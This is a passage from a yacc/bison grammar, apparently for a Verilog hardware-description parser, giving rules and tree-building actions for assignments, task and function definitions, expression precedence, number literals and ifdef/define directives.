{ /* N_NET_DELAY_ASSIGN info0=signal, info1=expression, info2=signal */
$$ = $2; SetType($$,N_NET_DELAY_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$5); SetInfo2($$,$4);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| expression_worm T_GE expression literal T_SEMICOLON
{ /* N_NET_DELAY_ASSIGN info0=signal, info1=expression, info2=signal */
$$ = $2; SetType($$,N_NET_DELAY_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$4); SetInfo2($$,$3);
SetLine($$,CellLine($5));
ChkEvalOutput($4, SigListTop);
FreeTcell($5);
}
| expression_worm T_EQ expression_list T_SEMICOLON
{ /* N_VARIABLE_ASSIGN info0=signal, info1=expression */
$$ = $2; SetType($$,N_VARIABLE_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($4));
ChkEvalOutput($3, SigListTop);
FreeTcell($4);
}
| expression_worm T_GE expression_list T_SEMICOLON
{ /* N_NET_ASSIGN info0=signal, info1=expression */
$$ = $2; SetType($$,N_NET_ASSIGN); SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($4));
ChkEvalOutput($3, SigListTop);
FreeTcell($4);
}
| T_GENERIC_ID T_ID signal_name T_EQ expression_list T_SEMICOLON
{ /* N_VARIABLE_ASSIGN_DELAY info0=signal, info1=expression, info2=expression */
$$ = $4; SetType($$,N_VARIABLE_ASSIGN_DELAY); SetInfo0($$,$3); SetInfo1($$,$5); SetInfo2($$,$2);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| T_GENERIC_ID T_ID signal_name T_GE expression_list T_SEMICOLON
{ /* N_NET_ASSIGN_DELAY info0=signal, info1=expression, info2=expression */
$$ = $4; SetType($$,N_NET_ASSIGN_DELAY); SetInfo0($$,$3); SetInfo1($$,$5); SetInfo2($$,$2);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| T_GENERIC number signal_name T_EQ expression_list T_SEMICOLON
{ /* N_VARIABLE_ASSIGN_DELAY info0=signal, info1=expression, info2=expression */
$$ = $4; SetType($$,N_VARIABLE_ASSIGN_DELAY); SetInfo0($$,$3); SetInfo1($$,$5); SetInfo2($$,$2);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| T_GENERIC number signal_name T_GE expression_list T_SEMICOLON
{ /* N_NET_ASSIGN_DELAY info0=signal, info1=expression, info2=expression */
$$ = $4; SetType($$,N_NET_ASSIGN_DELAY); SetInfo0($$,$3); SetInfo1($$,$5); SetInfo2($$,$2);
SetLine($$,CellLine($6));
ChkEvalOutput($5, SigListTop);
FreeTcell($6);
}
| T_ASSIGN T_GENERIC number signal_name T_EQ expression_list T_SEMICOLON
{ /* N_VARIABLE_ASSIGN_DELAY info0=signal, info1=expression, info2=expression */
$$ = $5; SetType($$,N_VARIABLE_ASSIGN_DELAY); SetInfo0($$,$4); SetInfo1($$,$6); SetInfo2($$,$3);
SetLine($$,CellLine($7));
ChkEvalOutput($6, SigListTop);
FreeTcell($7);
}
| T_ASSIGN T_GENERIC number signal_name T_GE expression_list T_SEMICOLON
{ /* N_NET_ASSIGN_DELAY info0=signal, info1=expression, info2=expression */
$$ = $5; SetType($$,N_NET_ASSIGN_DELAY); SetInfo0($$,$4); SetInfo1($$,$6); SetInfo2($$,$3);
SetLine($$,CellLine($7));
ChkEvalOutput($6, SigListTop);
FreeTcell($7);
}
| T_DEASSIGN expression_worm T_SEMICOLON
{ /* N_VARIABLE_ASSIGN info0=signal, info1=expression */
$$ = $1; SetType($$,N_VARIABLE_ASSIGN); SetInfo0($$,$2); SetInfo1($$,NULLCELL);
SetLine($$,CellLine($3));
FreeTcell($3);
}
| T_FORCE expression_worm T_EQ expression_list T_SEMICOLON
{ /* N_VARIABLE_ASSIGN info0=signal, info1=expression */
$$ = $3; SetType($$,N_VARIABLE_ASSIGN); SetInfo0($$,$2); SetInfo1($$,$4);
SetLine($$,CellLine($5));
ChkEvalOutput($4, SigListTop);
FreeTcell($5);
}
| T_FORCE expression_worm T_GE expression_list T_SEMICOLON
{ /* N_NET_ASSIGN info0=signal, info1=expression */
$$ = $3; SetType($$,N_NET_ASSIGN); SetInfo0($$,$2); SetInfo1($$,$4);
SetLine($$,CellLine($5));
ChkEvalOutput($4, SigListTop);
FreeTcell($5);
}
| T_ASSIGN T_LPARENTESIS T_ID T_COMMA T_ID T_RPARENTESIS signal_assign_list T_SEMICOLON
{ /* T_ASSIGN info0=signal_assign_list */
$$ = $1; SetType($$,N_ASSIGN); SetInfo0($$,$7);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($4); FreeTcell($5); FreeTcell($6);
FreeTcell($8);
}
| T_ASSIGN signal_assign_list T_SEMICOLON
{ /* T_ASSIGN info0=signal_assign_list */
$$ = $1; SetType($$,N_ASSIGN); SetInfo0($$,$2);
SetLine($$,CellLine($1));
FreeTcell($3);
}
| call_function_or_task T_SEMICOLON
{ /* N_TASK_CALL info0=list */
$$ = $1; SetType($$,N_TASK_CALL); SetNext($$,NULLCELL);
}
| call_delay_function_or_task T_SEMICOLON
{ /* N_DELAY_TASKCALL */
$$ = $1; SetType($$,N_DELAY_TASKCALL); SetNext($$,NULLCELL);
}
| signal_name_list T_SEMICOLON
{ /* T_ID */
$$ = MallocTcell(N_NAME,(char *)NULL,CellLine($1)); SetInfo0($$,$1);
}
| T_ARROW T_ID T_SEMICOLON
{ /* T_ID */
$$ = MallocTcell(N_NAME,(char *)NULL,CellLine($2)); SetInfo0($$,$2);
}
;
signal_assign_list
: expression_worm T_EQ expression T_COMMA signal_assign_list
{ /* N_ASSIGN_SIGNAL, info0=name, info1=expression */
$$ = MallocTcell(N_ASSIGN_SIGNAL,(char *)NULL,CellLine($5)); SetInfo0($$,$1); SetInfo1($$,$3); SetNext($$,$5);
FreeTcell($2); FreeTcell($4);
}
| expression_worm T_EQ expression
{ /* N_ASSIGN_SIGNAL, info0=name, info1=expression */
$$ = MallocTcell(N_ASSIGN_SIGNAL,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetInfo1($$,$3); SetNext($$,NULLCELL);
FreeTcell($2);
}
;
procedural_time_controls
: T_GENERIC expression T_SEMICOLON
{ /* T_GENERIC info0=expression */
$$ = $1; SetType($$,N_PROCEDURAL_TIME_GENERIC); SetInfo0($$,$2);
}
| T_GENERIC expression always_body_generic
{ /* T_GENERIC info0=expression, info1=body */
$$ = $1; SetType($$,N_PROCEDURAL_TIME_GENERIC); SetInfo0($$,$2); SetInfo1($$,$3);
}
| T_AT T_LPARENTESIS sensitivity_list T_RPARENTESIS T_SEMICOLON
{ /* T_AT info0=sensitivity */
$$ = $1; SetType($$,N_PROCEDURAL_TIME_EXPRESSION); SetInfo0($$,$3);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($4);
}
| T_AT T_LPARENTESIS sensitivity_list T_RPARENTESIS always_body_generic
{ /* T_AT info0=sensitivity, info1=body */
$$ = $1; SetType($$,N_PROCEDURAL_TIME_EXPRESSION); SetInfo0($$,$3); SetInfo1($$,$5);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($4);
}
;
task_definitions
: T_TASK T_ID T_SEMICOLON always_body_generic T_ENDTASK
{ /* N_TASK_DEFINITION info0=name, info1=declarations(N_NULL), info2=body */
$$ = $1; SetType($$,N_TASK_DEFINITION); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5);
}
| T_TASK T_ID T_SEMICOLON full_data_type_declarations_list always_body_generic T_ENDTASK
{ /* N_TASK_DEFINITION info0=name, info1=declarations, info2=body */
$$ = $1; SetType($$,N_TASK_DEFINITION); SetInfo0($$,$2); SetInfo1($$,$4); SetInfo2($$,$5);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($6);
}
;
function_definitions
: T_FUNCTION range T_ID T_SEMICOLON full_data_type_declarations_list always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range, info2=declarations, info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$3); SetInfo1($$,$2); SetInfo2($$,$5); SetInfo3($$,$6);
SetLine($$,CellLine($1));
FreeTcell($4); FreeTcell($7);
}
| T_FUNCTION T_ID T_SEMICOLON full_data_type_declarations_list always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range(N_NULL), info2=declarations, info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4); SetInfo3($$,$5);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($6);
}
| T_FUNCTION range T_ID T_SEMICOLON always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range, info2=declarations(N_NULL), info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$3); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($1));
FreeTcell($4); FreeTcell($6);
}
| T_FUNCTION T_ID T_SEMICOLON always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range(N_NULL), info2=declarations(N_NULL), info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($1));
FreeTcell($3); FreeTcell($5);
}
| T_FUNCTION T_AUTOMATIC range T_ID T_SEMICOLON full_data_type_declarations_list always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range, info2=declarations, info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$4); SetInfo1($$,$3); SetInfo2($$,$6); SetInfo3($$,$7);
SetLine($$,CellLine($1));
FreeTcell($5); FreeTcell($8);
}
| T_FUNCTION T_AUTOMATIC T_ID T_SEMICOLON full_data_type_declarations_list always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range(N_NULL), info2=declarations, info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$3); SetInfo1($$,NULLCELL); SetInfo2($$,$5); SetInfo3($$,$7);
SetLine($$,CellLine($1));
FreeTcell($4); FreeTcell($7);
}
| T_FUNCTION T_AUTOMATIC range T_ID T_SEMICOLON always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range, info2=declarations(N_NULL), info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$4); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetInfo3($$,$6);
SetLine($$,CellLine($1));
FreeTcell($5); FreeTcell($7);
}
| T_FUNCTION T_AUTOMATIC T_ID T_SEMICOLON always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range(N_NULL), info2=declarations(N_NULL), info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$3); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL); SetInfo3($$,$5);
SetLine($$,CellLine($1));
FreeTcell($4); FreeTcell($6);
}
| T_FUNCTION T_AUTOMATIC T_INTEGER T_ID T_SEMICOLON full_data_type_declarations_list always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range(N_NULL), info2=declarations, info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$4); SetInfo1($$,$6); SetInfo2($$,NULLCELL); SetInfo3($$,$7);
SetLine($$,CellLine($1));
FreeTcell($5); FreeTcell($8);
}
| T_FUNCTION T_AUTOMATIC T_INTEGER T_ID T_SEMICOLON always_bodies_generic T_ENDFUNCTION
{ /* N_FUNCTION_DEFINITION info0=name, info1=out range(N_NULL), info2=declarations(N_NULL), info3=body */
$$ = $1; SetType($$,N_FUNCTION_DEFINITION); SetInfo0($$,$4); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL); SetInfo3($$,$6);
SetLine($$,CellLine($1));
FreeTcell($5); FreeTcell($7);
}
;
expression_list
: expression T_COMMA expression_list
{ /* N_EXPRESSION_LIST info0=expression */
$$ = MallocTcell(N_EXPRESSION_LIST,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetNext($$,$3);
FreeTcell($2);
}
| expression T_DOT expression_list
{ /* N_EXPRESSION_DOT_LIST info0=expression */
$$ = MallocTcell(N_EXPRESSION_DOT_LIST,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetNext($$,$3);
FreeTcell($2);
}
| expression
{ /* N_EXPRESSION_LIST info0=expression */
$$ = MallocTcell(N_EXPRESSION_LIST,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetNext($$,NULLCELL);
}
;
expression
: expression T_LOGIC_OR expression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| condexpression
{
$$ = $1;
}
;
condexpression
: expression T_SELECT expression T_COLON expression
{ /* T_SELECT info0=condition, info1=then, info2=else */
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3); SetInfo2($$,$5);
ConvertParen2Dummy($$);
SetLine($$,CellLine($5));
FreeTcell($4);
}
| logicandexpression
{
$$ = $1;
}
;
logicandexpression
: logicandexpression T_LOGIC_AND logicandexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| orexpression
{
$$ = $1;
}
;
orexpression
: orexpression T_OR orexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| andexpression
{
$$ = $1;
}
;
andexpression
: andexpression T_AND andexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| andexpression T_NAND andexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| andexpression T_XOR andexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| andexpression T_XNOR andexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| eqexpression
{
$$ = $1;
}
;
eqexpression
: eqexpression T_LOGIC_EQ eqexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| eqexpression T_LOGIC_NEQ eqexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| compexpression
{
$$ = $1;
}
;
compexpression
: compexpression T_GE compexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| compexpression T_LE compexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| compexpression T_GT compexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| compexpression T_LS compexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| shiftexpression
{
$$ = $1;
}
;
shiftexpression
: shiftexpression T_RSHIFT shiftexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| shiftexpression T_LSHIFT shiftexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| addexpression
{
$$ = $1;
}
;
addexpression
: addexpression T_PLUS addexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| addexpression T_MINUS addexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| T_MINUS T_DECDIGIT %prec N_UMINUS
{
char *newstr;
$$ = $2; FreeTcell($1);
newstr = (char *)malloc(sizeof (char) * (strlen(CellStr($2)) + 2));
sprintf(newstr, "-%s", CellStr($2));
free(CellStr($2));
CellStr($2) = newstr;
}
| T_PLUS T_DECDIGIT %prec N_UPLUS
{
$$ = $2; FreeTcell($1);
}
| multexpression
{
$$ = $1;
}
;
multexpression
: multexpression T_MULT multexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| multexpression T_DIV multexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| multexpression T_EXP multexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| multexpression T_MOD multexpression
{
$$ = $2; SetInfo0($$,$1); SetInfo1($$,$3);
SetLine($$,CellLine($3));
}
| notexpression
{
$$ = $1;
}
;
notexpression
: T_NOT literal
{
$$ = $1; SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_LOGIC_NOT literal
{
$$ = $1; SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_AND literal
{ /* N_REDUCTION_AND info0=expression */
$$ = $1; SetType($$,N_REDUCTION_AND); SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_OR literal
{ /* N_REDUCTION_OR info0=expression */
$$ = $1; SetType($$,N_REDUCTION_OR); SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_XOR literal
{ /* N_REDUCTION_XOR info0=expression */
$$ = $1; SetType($$,N_REDUCTION_XOR); SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_NAND literal
{ /* N_REDUCTION_NAND info0=expression */
$$ = $1; SetType($$,N_REDUCTION_NAND); SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_NOR literal
{ /* N_REDUCTION_NOR info0=expression */
$$ = $1; SetType($$,N_REDUCTION_NOR); SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_XNOR literal
{ /* N_REDUCTION_XNOR info0=expression */
$$ = $1; SetType($$,N_REDUCTION_XNOR); SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| literal
{
$$ = $1;
}
;
literal
: sentence
{
$$ = $1;
}
| common_function_or_task
{
$$ = $1;
}
| number
{
$$ = $1;
}
| expression_worm
{
$$ = $1;
}
;
common_function_or_task
: T_TIME
{ /* T_TIME */
$$ = $1;
}
;
sentence
: T_SENTENCE
{ /* N_SIGNAL */
$$ = $1; SetType($$,N_SIGNAL);
}
;
number
: T_NATDIGIT
{
$$ = $1;
}
| T_BINDIGIT
{
$$ = $1;
}
| T_OCTDIGIT
{
$$ = $1;
}
| T_DECDIGIT
{
$$ = $1;
}
| T_HEXDIGIT
{
$$ = $1;
}
| T_WIDTH_BINDIGIT
{
$$ = $1;
}
| T_WIDTH_OCTDIGIT
{
$$ = $1;
}
| T_WIDTH_DECDIGIT
{
$$ = $1;
}
| T_WIDTH_HEXDIGIT
{
$$ = $1;
}
| T_PARAMETER_BINDIGIT
{
$$ = $1;
}
| T_PARAMETER_OCTDIGIT
{
$$ = $1;
}
| T_PARAMETER_DECDIGIT
{
$$ = $1;
}
| T_PARAMETER_HEXDIGIT
{
$$ = $1;
}
| T_GENERIC_BINDIGIT
{
$$ = $1;
}
| T_GENERIC_OCTDIGIT
{
$$ = $1;
}
| T_GENERIC_DECDIGIT
{
$$ = $1;
}
| T_GENERIC_HEXDIGIT
{
$$ = $1;
}
;
expression_worm
: signal_name_list
{
$$ = $1;
}
| T_LBRACE expression_list T_RBRACE
{ /* N_CONCATENATION info0=list */
$$ = $1; SetType($$,N_CONCATENATION); SetInfo0($$,$2);
SetLine($$,CellLine($3));
FreeTcell($3);
}
| T_LBRACE expression T_LBRACE expression_list T_RBRACE T_RBRACE
{ /* N_COPY_SIGNAL info0=copy times, info1=expression */
$$ = $1; SetType($$,N_COPY_SIGNAL); SetInfo0($$,$2); SetInfo1($$,$4);
SetLine($$,CellLine($6));
FreeTcell($3); FreeTcell($5); FreeTcell($6);
}
| T_LBRACE expression signal_name T_RBRACE
{ /* N_COPY_SIGNAL info0=copy times, info1=expression */
$$ = $1; SetType($$,N_COPY_SIGNAL); SetInfo0($$,$2); SetInfo1($$,$3);
SetLine($$,CellLine($4));
FreeTcell($4);
}
| T_LPARENTESIS expression T_RPARENTESIS
{ /* N_PARENTESIS info0=expression */
$$ = $1; SetType($$,N_PARENTESIS); SetInfo0($$,$2);
SetLine($$,CellLine($3));
FreeTcell($3);
}
| call_function_or_task
{ /* N_FUNCTION_CALL info0=list */
$$ = $1; SetType($$,N_FUNCTION_CALL);
}
;
signal_name_list
: signal_name T_DOT signal_name_list
{ /* N_EXPRESSION_DOT_LIST info0=signal */
$$ = MallocTcell(N_EXPRESSION_DOT_LIST,(char *)NULL,CellLine($3)); SetInfo0($$,$1); SetNext($$,$3);
FreeTcell($2);
}
| signal_name
{ /* N_EXPRESSION_DOT_LIST info0=signal */
$$ = MallocTcell(N_EXPRESSION_DOT_LIST,(char *)NULL,CellLine($1)); SetInfo0($$,$1); SetNext($$,NULLCELL);
}
;
signal_name
: T_ID
{ /* N_SIGNAL */
$$ = $1; SetType($$,N_SIGNAL);
}
| T_ID range
{ /* N_SIGNAL_WIDTH info0=range */
$$ = $1; SetType($$,N_SIGNAL_WIDTH); SetInfo0($$,$2);
SetLine($$,CellLine($2));
}
| T_ID range range
{ /* N_SIGNAL_WIDTH info0=range, info1=range */
$$ = $1; SetType($$,N_SIGNAL_WIDTH); SetInfo0($$,$2); SetInfo1($$,$3);
SetLine($$,CellLine($2));
}
;
common_compiler_directives
: timescale_part
{
$$ = $1;
}
| define_part
{
$$ = $1;
}
| undef_part
{
$$ = $1;
}
| ifdef_project_part
{
$$ = $1;
}
| include_part
{
$$ = $1;
}
| celldefine_part
{
$$ = $1;
}
| endcelldefine_part
{
$$ = $1;
}
;
timescale_part
: T_TIMESCALE T_NATDIGIT T_ID T_DIV T_NATDIGIT T_ID
{ /* T_TIMESCALE */
$$ = $1; SetType($$,N_TIMESCALE_DIRECTIVE);
}
;
define_part
: T_DEFINE T_ID expression T_COLON expression
{ /* T_DEFINE info0=name, info1=expression, info2=expression */
$$ = $1; SetType($$,N_DEFINE_DIRECTIVE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
}
| T_DEFINE T_ID expression
{ /* T_DEFINE info0=name, info1=expression, info2=expression(N_NULL) */
$$ = $1; SetType($$,N_DEFINE_DIRECTIVE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
}
| T_DEFINE T_ID
{ /* T_DEFINE info0=name, info1=expression(N_NULL), info2=expression(N_NULL) */
$$ = $1; SetType($$,N_DEFINE_DIRECTIVE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
}
;
undef_part
: T_UNDEF T_ID
{ /* T_UNDEF info0=name, info1=expression(N_NULL), info2=expression(N_NULL) */
$$ = $1; SetType($$,N_DEFINE_DIRECTIVE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
}
;
ifdef_project_part
: T_IFDEF T_ID project T_ELSEDEF project T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PROJECT); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_IFDEF T_ID project T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_PROJECT); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4); FreeTcell($5);
}
| T_IFDEF T_ID T_ELSEDEF project T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body(N_NULL), info2=else */
$$ = $1; SetType($$,N_IFDEF_PROJECT); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($5);
}
| T_IFDEF T_ID T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body(N_NULL), info2=else */
$$ = $1; SetType($$,N_IFDEF_PROJECT); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($4);
}
| T_IFDEF T_ID project T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else(N_NULL) */
$$ = $1; SetType($$,N_IFDEF_PROJECT); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4);
}
| T_IFDEF T_ID T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body(N_NULL), info2=else(N_NULL) */
$$ = $1; SetType($$,N_IFDEF_PROJECT); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3);
}
;
ifdef_module_part
: T_IFDEF T_ID module_items_list T_ELSIFDEF T_ID module_items_list T_ELSEDEF module_items_list T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=name, info3=else, info4=else */
$$ = $1; SetType($$,N_COMPLEX_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5); SetInfo3($$,$6); SetInfo4($$,$8);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4); FreeTcell($7); FreeTcell($9);
}
| T_IFDEF T_ID T_ELSIFDEF T_ID module_items_list T_ELSEDEF module_items_list T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=name, info3=else, info4=else */
$$ = $1; SetType($$,N_COMPLEX_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4); SetInfo3($$,$5); SetInfo4($$,$7);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($6); FreeTcell($8);
}
| T_IFDEF T_ID T_ELSIFDEF T_ID T_ELSEDEF module_items_list T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=name, info3=else, info4=else */
$$ = $1; SetType($$,N_COMPLEX_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4); SetInfo3($$,NULLCELL); SetInfo4($$,$6);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($5); FreeTcell($7);
}
| T_IFDEF T_ID T_ELSIFDEF T_ID module_items_list T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=name, info3=else, info4=else */
$$ = $1; SetType($$,N_COMPLEX_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4); SetInfo3($$,$5); SetInfo4($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($6); FreeTcell($7);
}
| T_IFDEF T_ID module_items_list T_ELSEDEF module_items_list T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4); FreeTcell($6);
}
| T_IFDEF T_ID T_ELSEDEF module_items_list T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body(N_NULL), info2=else */
$$ = $1; SetType($$,N_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($5);
}
| T_IFDEF T_ID module_items_list T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body(N_NULL), info2=else */
$$ = $1; SetType($$,N_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4); FreeTcell($5);
}
| T_IFDEF T_ID T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body(N_NULL), info2=else */
$$ = $1; SetType($$,N_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($3); FreeTcell($4);
}
| T_IFDEF T_ID module_items_list T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else(N_NULL) */
$$ = $1; SetType($$,N_IFDEF_MODULE); SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
SetLine($$,CellLine($1));
ChkEvalOutput($2, SigListTop);
FreeTcell($4);
}
| T_IFDEF T_ID T_ENDIFDEF
